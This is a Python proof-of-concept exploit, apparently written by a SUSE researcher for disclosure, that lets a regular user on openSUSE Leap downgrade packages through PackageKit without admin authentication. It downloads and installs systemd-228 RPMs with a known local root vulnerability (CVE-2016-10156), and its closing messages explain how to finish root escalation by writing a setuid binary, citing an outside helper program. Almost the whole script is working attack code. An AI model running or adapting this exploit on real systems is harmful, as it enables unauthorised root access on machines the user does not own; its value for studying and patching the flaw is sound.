#!/usr/bin/python # vim: noet ts=8 sts=8 sw=8 # Author: Matthias Gerstner # SUSE Linux GmbH # Date: 2018-04-05 # # Proof of concept: downgrade of packages via PackageKit without admin # authentication on openSUSE Leap. # # This script is supposed to be run on openSUSE Leap 42.3 as a regular user. # # This program downloads validly signed systemd-228 RPMs from the SUSE open # build service. This systemd contains a local root vulnerability # (CVE-2016-10156). # # The PoC shows that installing and downgrading an important system package is # possible without entering admin credentials. Should a password prompt or # dialog appear, simply cancel it to continue. from __future__ import print_function import os, sys import urllib2 import subprocess def print_pkg_version(pkg): print("Currently installed version of pkg: ", end = '') sys.stdout.flush() subprocess.call([ "/bin/rpm", "-q", pkg ]) def download_rpm(url): base = url.split('/')[-1] print("Downloading", url, "to", base) con = urllib2.urlopen(url) with open(base, 'w') as fd: while True: chunk = con.read(4096) if not chunk: break fd.write(chunk) return os.path.join( os.getcwd(), base ) def install_rpm(rpms, pkg_base): pkcon = "/usr/bin/pkcon" cmdline = [ pkcon, "install-local", "--allow-reinstall", "-y" ] + rpms print("Trying to install", ' '.join(rpms)) print("Using command line", ' '.join(cmdline)) with open("/dev/null", 'r') as null: res = subprocess.call( cmdline, stdin = null, close_fds = True, shell = False ) if res == 0: print("Successfully installed package(s)") print() print_pkg_version(pkg_base) print() else: print("Failed to install") sys.exit(1) package_bases = [ "systemd-228-19.1.x86_64.rpm", "udev-228-19.1.x86_64.rpm", "systemd-sysvinit-228-19.1.x86_64.rpm", "libsystemd0-228-19.1.x86_64.rpm" ] url_base = "http://download.opensuse.org/update/leap/42.2/oss/x86_64/" rpms = [] print("Downloading vulnerable systemd-228 packages") for pkg_base in package_bases: rpm = download_rpm('/'.join([url_base, pkg_base])) rpms.append(rpm) print("\nInstalling vulnerable RPMs") install_rpm(rpms, "systemd") print("\nAfter rebooting or issuing 'systemctl daemon-reload' you will be running a vulnerable systemd") print() print("The files in /var/lib/systemd/timers will be created with setuid bit set once new timers are setup or the old timer stamp files are deleted") print() print("A progam like https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c will help writing a suitable setuid binary to one of the files once the setuid bit is set") print("You only have to change the setresgid system call into a setresuid system call")